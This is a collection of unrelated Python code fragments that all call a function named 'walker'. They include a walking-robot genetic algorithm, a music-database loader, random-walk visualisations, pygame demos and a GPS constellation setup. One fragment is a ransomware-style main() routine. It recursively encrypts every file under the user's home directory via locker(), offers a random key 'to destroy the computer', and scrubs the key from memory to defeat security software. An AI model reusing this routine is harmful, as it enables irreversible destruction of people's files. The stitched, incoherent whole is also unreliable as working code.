def evaluate(self, optimum=None): # Evaluate the individual if random.random() > 0.99: show = True else: show = False sim = simulation(show=show) # Create the simulation delta = 0.02 # Create the robot pos_x = 500 pos_y = 350 w = 15 wlk = walker(sim.space, \ (pos_x, pos_y), \ self.get_gene('ul'), \ self.get_gene('ll'), \ w, \ self.get_gene('lua'), \ self.get_gene('lla'), \ self.get_gene('rua'), \ self.get_gene('rla')) # Test the robot in the simulation running = True while running: sim.step(delta) ke = sim.get_ke() if ke < 4000.0 or ke > 1000000000.0: running = False # The score minimizes x self.score = wlk.lul.body.position[0] + \ wlk.rul.body.position[0] print 'score: ', self.score
def main(): """ This function is self explainable. And yes, DO NOT use it if you seriously don't know what's going on. Still, it won't be a prooblem, because, you already know the *hardcoded_key* """ hardcoded_key = b"no please, don't see this" ########################################################################### # Uncomment this line of code below if you want to destroy the computer, # but please don't blame me, as I warned you before... :) # hardcoded_key = base64.b64encode(os.urandom(32)) ########################################################################### path = os.path.expanduser('~') targets = walker(path) for target in targets: try: locker(target, hardcoded_key) except (FileNotFoundError, IsADirectoryError): pass # Remove the hardcoded key from memory to # prevent any security apps to extract it. for _ in range(128): hardcoded_key = os.urandom(32)
def loader(parent_dir, override_db_name=False): parent = pathlib.Path(parent_dir) db_name = override_db_name or DB_FILENAME if parent.exists() is False: raise RuntimeError( f"Provided {parent=!r} but this dir couldn't be found") if parent.is_dir() is False: raise RuntimeError(f"Provided {parent=!r} is not a directory") print(f"Creating DB") create_schema(db_name) print("Connecting to DB") conn = sqlite3.connect(db_name) cursor = conn.cursor() print("Storing parent path") cursor.execute("INSERT INTO ParentDir(path) VALUES(?)", [str(parent)]) conn.commit() cursor.execute("SELECT id FROM ParentDir WHERE path=?", [str(parent)]) parent_id = cursor.fetchone()[0] print(f"Processing {parent=!r}") for index, song in enumerate(walker(parent)): if song.name.endswith(( ".mp3", ".ogg", )): # print(f"Found {index}: {song.name=}") tags = read(song) columns = "title,track,artist_id,album_id,filesize,duration,filename,rel_path,parent_dir" rel_path = str(song).replace(str(parent), "") data = [ tags.title, tags.track, Artist.Get(conn, tags.albumartist), Album.Get(conn, Artist.Get(conn, tags.albumartist), tags.album), tags.filesize, tags.duration, tags.filename, rel_path, parent_id ] try: cursor.execute( f"INSERT INTO Song({columns}) VALUES(?,?,?,?,?,?,?,?,?)", data) except sqlite3.IntegrityError: print(f"Sus duplicate: {song=}, {tags.title=}, {parent_id=}") else: print(f"WARNING - {song.name}") conn.commit() conn.close()
def interactive(self): # Interactive mode running = True robot = None while running: # Deal with clicks and other events for event in pygame.event.get(): if event.type == QUIT: running = False if event.type == MOUSEBUTTONDOWN: robot = walker(self.space, self._invy(event.pos), 80, 60, 10, pi / 16, 0, 0, 0) self.step(0.02)
def interactive(self): # Interactive mode running = True robot = None while running: # Deal with clicks and other events for event in pygame.event.get(): if event.type == QUIT: running = False if event.type == MOUSEBUTTONDOWN: robot = walker(self.space, \ self._invy(event.pos), \ 80, 60, 10, pi/16, 0, 0, 0) self.step(0.02)
def mySimul(self, args): robot = walker(self.space, *args) iterations = 0 ke_sum = 0 while True: self.step(0.02) iterations += 1 ke = self.get_ke() ke_sum += ke if ke < 800 or iterations > 8000 or robot.lul.body.position[ 0] < -50: return iterations, robot.lul.body.position, ke_sum
def individual_sim(self, pos, ul, ll, w, lua, lla, rua, rla, generation, individuo): robot = walker(self.space, pos, ul, ll, w, lua, lla, rua, rla) sim_time = 2500 # 300 ~= 6 segundos time = 0 walk_time = 0 last_x = [(0,0), (0,0), (0,0), (0,0)] while True: self.step(0.02, time, sim_time, generation, individuo) time += 1 # Get data from simulation # self.space.bodies[0].position = upper_leg_1 # self.space.bodies[1].position = lower_leg_1 # self.space.bodies[2].position = lower_leg_2 # self.space.bodies[3].position = upper_leg_2 ke = self.get_ke() cur_x = [(self.space.bodies[0].position.x, self.space.bodies[0].position.y),\ (self.space.bodies[1].position.x, self.space.bodies[1].position.y),\ (self.space.bodies[2].position.x, self.space.bodies[2].position.y),\ (self.space.bodies[3].position.x, self.space.bodies[3].position.y)] # Se o individuo estar se mexendo ou ainda tiver tempo ou se estiver dentro do cenario if time < sim_time and ke > 30000 and min(cur_x[:][0]) > 20: #Se a upper_leg estiver acima da lower_leg, em relacao ao eixo Y if (cur_x[0][1] - cur_x[1][1] > ll/2) and (cur_x[3][1] - cur_x[2][1] > ll/2): #Se a posicao em x da lower_leg for diferente do passo anterior if cur_x[1][0] < last_x[1][0] or cur_x[2][0] < last_x[2][0]: walk_time += 1 #Caso tempo acabe ou walker fique parado else: #retorna o tempo de caminhada e a o valor mais proximo da borda esquerda return walk_time, (800 - min(cur_x[1][0], cur_x[2][0])) last_x = copy.copy(cur_x)
def scaner(root_path): print "" obj_scanner = walker.walker(root_path) out_file = obj_scanner.walk("RC") return out_file
#rng.seed(100) dimension = 3 # if dmesion=2, then the program creates and saves a png. if dimension=3, it creates a gif of cross-sections of the 3D walk. Otherwise, the program doesn't save anything. walkers = 1000 num_steps = 2000 do_log_step = True log_add = .01 # lower values make the gif more shaded at less-traveled points img_scale = 1 frame_duration = 75 # only used when making a GIF (i.e., when dimension = 3) file_name = "file" # the file name for the file to be saved (".png" or ".gif" will be added) max_img_val = 255 # max value for an image with 8 bytes per pixel min_img_val = 0 w = walker.walker(dimension, num_walkers=walkers, record_steps=True) w.take_steps(num_steps) matrix, offset = w.get_path_matrix() if do_log_step: matrix = np.log(matrix.astype('float') + log_add) else: matrix = matrix.astype('float') matrix -= np.min(matrix) matrix *= ((max_img_val - min_img_val) / np.max(matrix)) matrix += min_img_val if dimension == 2:
def walk(self): os.system("clear") walker.walker(self.cur)
BH = 100 # écart type sur le biais d'horloge sigma = 50 # écart type sur la mesure de distance # Temps GPS tgps = DEBUT trecep = tgps + BH ######################################################## ## Paramètres de la constellation ######################################################## ELEVMIN = 5 * CDR # Elevation minimale NBSAT = 24 # Nombre de satellites incl = 55 * CDR # Inclinaison du plan orbital (rad) h = 20183614 # Altitude des satellites a = h + Re # demi grand axe de l'orbite (m) ## fct CONST = walker(24, 6, 1, a, 0, incl, 0, Re, 0) # Calcul params constellation M0 = CONST[:, 5].T # Anomalie moyenne initiale (rad) OMEGA = CONST[:, 4].T # Ascension droite du noeud ascendant (rad) ## cercle de visibilité (calcul_cercle_visi) T = 2 * np.pi * np.sqrt((a**3) / mu) # Periode orbitale (s) w = np.sqrt(mu / (a**3)) # vitesse angulaire du satellite (rad.s^(-1)) ######################################################## ## Affichage ######################################################## # Taille du zoom en degrés zoom = 6
import pygame, sys, random from constants import * from walker import walker pygame.init() windowSize = (X_SIZE, Y_SIZE) screen = pygame.display.set_mode(windowSize) screen.fill(BLACK) clock = pygame.time.Clock() r = random.randint(0, 4) w = walker(400, 300, BLUE, 1, True, True) w2 = walker(400, 300, GREEN, 1, True, True) w3 = walker(400, 300, RED, 1, True, True) while 1: clock.tick(40) for event in pygame.event.get(): if event.type == pygame.QUIT: sys.exit() w.draw(screen) w2.draw(screen) w3.draw(screen) w.update() w2.update() w3.update() pygame.display.update()